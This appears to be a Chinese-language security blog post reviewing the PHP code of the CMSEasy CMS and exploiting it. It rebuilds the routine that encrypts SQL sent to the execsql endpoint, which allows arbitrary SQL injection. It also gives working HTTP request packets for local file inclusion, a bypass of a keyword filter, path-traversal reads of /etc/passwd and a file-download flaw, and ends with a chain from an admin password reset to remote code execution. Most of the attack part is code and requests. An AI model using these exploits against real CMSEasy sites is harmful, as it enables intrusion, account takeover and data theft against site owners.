Home php code review - cmseasy
Post
Cancel

php code review - cmseasy

cmseasy

https://www.cmseasy.cn/published/

sql注入

老洞

crossall_act.php 中存在 execsql_action 方法 路由在:index.php?case=crossall&act=execsql&sql=xxxx 在最新版本中lib/table/service.php被混淆了,因此考虑下载源代码本地搭建

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
// 获取类的所有方法 
error_log(var_dump(get_class_methods(service)));

array(53) {
  [0]=>
  string(11) "getInstance"
  [1]=>
  string(9) "cmseayurl"
  [2]=>
  string(14) "cmseayurl_post"
  [3]=>
  string(13) "curl_download"
  [4]=>
  string(8) "curl_get"
  [5]=>
  string(20) "get_remote_file_size"
  [6]=>
  string(8) "httpcode"
  [7]=>
  string(10) "varify_url"
  [8]=>
  string(5) "dkUrl"
  [9]=>
  string(6) "is_ssl"
  [10]=>
  string(8) "getlogin"
  [11]=>
  string(15) "check_expansion"
  [12]=>
  string(18) "save_service_users"
  [13]=>
  string(17) "get_service_users"
  [14]=>
  string(7) "getherf"
  [15]=>
  string(9) "json_info"
  [16]=>
  string(10) "checktable"
  [17]=>
  string(18) "get_template_check"
  [18]=>
  string(17) "get_modules_check"
  [19]=>
  string(14) "creadt_control"
  [20]=>
  string(14) "update_control"
  [21]=>
  string(16) "passport_encrypt"
  [22]=>
  string(16) "passport_decrypt"
  [23]=>
  string(12) "passport_key"
  [24]=>
  string(19) "autofrontbuytempdir"
  [25]=>
  string(16) "autofronttempdir"
  [26]=>
  string(20) "get_buymodules_check"
  [27]=>
  string(19) "get_fetch_cacheFile"
  [28]=>
  string(9) "login_cms"
  [29]=>
  string(10) "cms_qkdown"
  [30]=>
  string(17) "buyapps_templates"
  [31]=>
  string(8) "buywxapp"
  [32]=>
  string(10) "buylicense"
  [33]=>
  string(12) "buycopyright"
  [34]=>
  string(12) "buyusermenoy"
  [35]=>
  string(12) "getmycddowme"
  [36]=>
  string(19) "getlicenseagreement"
  [37]=>
  string(12) "proxyarchive"
  [38]=>
  string(12) "getmycrdowme"
  [39]=>
  string(12) "_getauthkey_"
  [40]=>
  string(13) "_getauthdate_"
  [41]=>
  string(15) "_getauthperiod_"
  [42]=>
  string(10) "md5tocdkey"
  [43]=>
  string(12) "admin_system"
  [44]=>
  string(10) "lockString"
  [45]=>
  string(12) "unlockString"
  [46]=>
  string(7) "execsql"
  [47]=>
  string(18) "getservicetemplate"
  [48]=>
  string(14) "updateapps_cms"
  [49]=>
  string(13) "template_dome"
  [50]=>
  string(11) "downloadZip"
  [51]=>
  string(4) "json"
  [52]=>
  string(19) "get_remote_file_url"
}

// 直接使用类加密sql
error_log(service::lockString("select 123"));
// tail -f /Applications/MAMP/logs/php_error.log
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//参数名
$object = service;
$reflectionMethod = new ReflectionMethod($object, 'lockString');
$parameters = $reflectionMethod->getParameters();
foreach ($parameters as $parameter) {
    if ($parameter->isDefaultValueAvailable()) {
        $defaultValue = $parameter->getDefaultValue();
        error_log(var_dump("Parameter: " . $parameter->getName() . ", Default Value: " . var_export($defaultValue, true)));
    }
    else{
        error_log(var_dump("Parameter: " . $parameter->getName()));
    }
}

/*
string(15) "Parameter: txt"
string(49) "Parameter: key, Default Value: 'cmseasy_new_sql'"
*/

源码

7.7.7 以前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function lockString($txt,$key='xxx'){
    $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
    $nh = rand(0,64);
    $ch = $chars[$nh];
    $mdKey = md5($key.$ch);
    $mdKey = substr($mdKey,$nh%8, $nh%8+7);
    $txt = base64_encode($txt);
    $tmp = '';
    $i=0;$j=0;$k = 0;
    for ($i=0; $i<strlen($txt); $i++) {
        $k = $k == strlen($mdKey) ? 0 : $k;
        $j = ($nh+strpos($chars,$txt[$i])+ord($mdKey[$k++]))%64;
        $tmp .= $chars[$j];
    }
    return urlencode($ch.$tmp);
}


function unlockString($txt,$key='xxx'){
    $txt = urldecode($txt);
    $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
    $ch = $txt[0];
    $nh = strpos($chars,$ch);
    $mdKey = md5($key.$ch);
    $mdKey = substr($mdKey,$nh%8, $nh%8+7);
    $txt = substr($txt,1);
    $tmp = '';
    $i=0;$j=0; $k = 0;
    for ($i=0; $i<strlen($txt); $i++) {
        $k = $k == strlen($mdKey) ? 0 : $k;
        $j = strpos($chars,$txt[$i])-$nh - ord($mdKey[$k++]);
        while ($j<0) $j+=64;
        $tmp .= $chars[$j];
    }
    return base64_decode($tmp);
}
echo "index.php?case=crossall&act=execsql&sql=". lockString("select 123");

老洞新算法

下载历史版本,发现7.7.7.4版泄漏了未加密的算法 20230105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
function lockString($txt,$key='cmseasy_new_sql'){
    $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
    $nh = rand(0,64);
    $ch = $chars[$nh];
    $mdKey = md5($key.$ch);
    $mdKey = substr($mdKey,$nh%8, $nh%8+8);
    $txt = base64_encode($txt);
    $tmp = '';
    $i=0;$j=0;$k = 0;
    for ($i=0; $i<strlen($txt); $i++) {
        $k = $k == strlen($mdKey) ? 0 : $k;
        $j = ($nh+strpos($chars,$txt[$i])+ord($mdKey[$k++]))%64;
        $tmp .= $chars[$j];
    }
    $newtxt=urlencode($ch.$tmp);
    $newtxt.= md5($key);
    return $newtxt;
}

function unlockString($txt,$key='cmseasy_new_sql'){
    $txt=rtrim($txt, md5($key));
    $txt = urldecode($txt);
    $chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-=+";
    $ch = $txt[0];
    $nh = strpos($chars,$ch);
    $mdKey = md5($key.$ch);
    $mdKey = substr($mdKey,$nh%8, $nh%8+8);
    $txt = substr($txt,1);
    $tmp = '';
    $i=0;$j=0; $k = 0;
    for ($i=0; $i<strlen($txt); $i++) {
        $k = $k == strlen($mdKey) ? 0 : $k;
        $j = strpos($chars,$txt[$i])-$nh - ord($mdKey[$k++]);
        while ($j<0) $j+=64;
        $tmp .= $chars[$j];
    }
    return base64_decode($tmp);;
}

echo "index.php?case=crossall&act=execsql&sql=". lockString("select 123");

本地文件包含

一堆老洞: index.php?case=language&act=edit&lang_choice=../../../../../../../../../tmp/test.php&admin_dir=admin&id=1#index_connent

两处 lib/admin/admin_language.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function edit_action() {
    $lang_choice='system.php';
    error_log("1111");
    if (isset($_GET['lang_choice'])){
        $lang_choice=$_GET['lang_choice'];
    }
    $langid=front::get('id');
    $lang=new lang();
    $langdata = $lang->getrows('id='.$langid, 1);
    if (is_array($langdata)){
        $langurlname=$langdata[0]['langurlname'];
    }else{
        front::alert(lang_admin('language_pack').lang_admin('nonentity'));
    }
    $path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
    $tipspath=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;

    ...
    
    $content=include($path);

    $tips=include($tipspath);
    ...
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 function add_action() {
    $lang_choice='system.php';
    if (isset($_GET['lang_choice'])){
        $lang_choice=$_GET['lang_choice'];
    }
    if (front::post('submit')) {
        $langid=front::get('id');
        $lang=new lang();
        $langdata = $lang->getrows('id='.$langid, 1);
        if (is_array($langdata)){
            $langurlname=$langdata[0]['langurlname'];
        }else{
            front::alert(lang_admin('language_pack').lang_admin('nonentity'));
        }


        $path=ROOT.'/lang/'.$langurlname.'/'.$lang_choice;
        if(file_exists($path)){
            $str= file_get_contents($path);//将整个文件内容读入到一个字符串中
            if(inject_check($str)){
                exit(lang_admin('文件异常'));
            }
        }


        $lang_data = include $path;
        ...
    }
}

function inject_check($sql_str)
{                                                                                                                                /*去掉into校验 |\binto\b */
    return preg_match('@\bselect\b|\binsert\b|\bupdate\b|\bphpinfo\b|\bdelete\b|\bSLEEP\b|\bwhen\b|\bCHAR|\bTHEN\b|\bCONCAT\b|\/\*|\*|\.\.\/|\.\/|\[bunion]\b|\bload_file\b|\boutfile\b@is', $sql_str);
}

inject_check随便绕

1
2
<?php
("php"."info")();

数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /index.php?case=language&act=add&lang_choice=../../../../../../../../../tmp/test.php&admin_dir=admin&id=1 HTTP/1.1
Host: god.dd:8888
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=8mc3tkp13arrfc8h2jr3bgj9p0; login_username=admin; login_password=indkqU5o3ma3AzaL2gJz7o6v3TWtpn6f8zqL2spaHz9fD2ab18391e6e61e99aff8e10d05e4ad02
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

submit=1

任意文件读

老洞过滤绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function fetch_action()
{

    $id = front::post('id');
    $id = str_replace('../', '', $id);
    $id = str_replace('./', '', $id);
    $tpl = str_replace('#', '', $id);
    $tpid = $tpl;
    //$tpl = str_replace('_d_', '/', $tpl); //c去掉漏洞
    $tpl = str_replace('_html', '.html', $tpl);
    $tpl = str_replace('_css', '.css', $tpl);
    $tpl = str_replace('_js', '.js', $tpl);
    $res = array();
    error_log(TEMPLATE . '/' . config::get('template_dir') . '/' . $tpl);
    $res['content'] = file_get_contents(TEMPLATE . '/' . config::get('template_dir') . '/' . $tpl);
    $res['content'] = preg_replace('%</textarea%', '<&#47textarea', $res['content']);
    echo json::encode($res);
    exit;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?case=template&act=fetch&admin_dir=admin&site=default HTTP/1.1
Host: god.dd:8888
Content-Length: 39
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://god.dd:8888
Referer: http://god.dd:8888/index.php?admin_dir=admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=8mc3tkp13arrfc8h2jr3bgj9p0; login_username=admin; login_password=indkqU5o3ma3AzaL2gJz7o6v3TWtpn6f8zqL2spaHz9fD2ab18391e6e61e99aff8e10d05e4ad02
Connection: close

&id=.#.#/.#.#/.#.#/.#.#/.#.#/etc/passwd

新洞

看如下代码,控制数据库中的字段为文件名即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function down_action(){
    $aid = intval(front::get('aid'));
    if (config::get('verifycode')) {
        if (cookie::get('allowdown') != md5(url::create('attachment/downfile/aid/' . $aid . '/v/ce'))) {
            header("Location: index.php?case=attachment&act=downfile&aid=" . $aid . "&v=ce");
        }
    }
    //δ֧����������
    $archivedata=archive::getInstance()->getrow('aid='.$aid);
    ...

    $filename = front::get('filename'); //如果是自定义字段
    
    if ($filename && $archivedata[$filename]){
        $path = ROOT . '/' . $archivedata[$filename];
    }else{
        $path = ROOT . '/' . archive_attachment($aid, 'path');
    }
    $path = iconv('utf-8', 'gbk//ignore', $path);
    
    if (!is_readable($path)) {
        header("HTTP/1.1 404 Not Found");
        exit;
    }
    
    $size = filesize($path);
    $content = file_get_contents($path);
    

}

找一个地方操作这里的数据

触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php?case=attachment&act=down&site=default&aid=534&filename=content HTTP/1.1
Host: god.dd:8888
Content-Length: 9
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://god.dd:8888
Referer: http://god.dd:8888/index.php?admin_dir=admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: PHPSESSID=8mc3tkp13arrfc8h2jr3bgj9p0; login_username=admin; login_password=indkqU5o3ma3AzaL2gJz7o6v3TWtpn6f8zqL2spaHz9fD2ab18391e6e61e99aff8e10d05e4ad02
Connection: close

&id=#aaaa

RCE流程

sql注入改密码 + 本地文件包含 + 前台上传照片 -> RCE

1
update cmseasy_user set password=md5('123456') where username='admin';
This post is licensed under CC BY 4.0 by the author.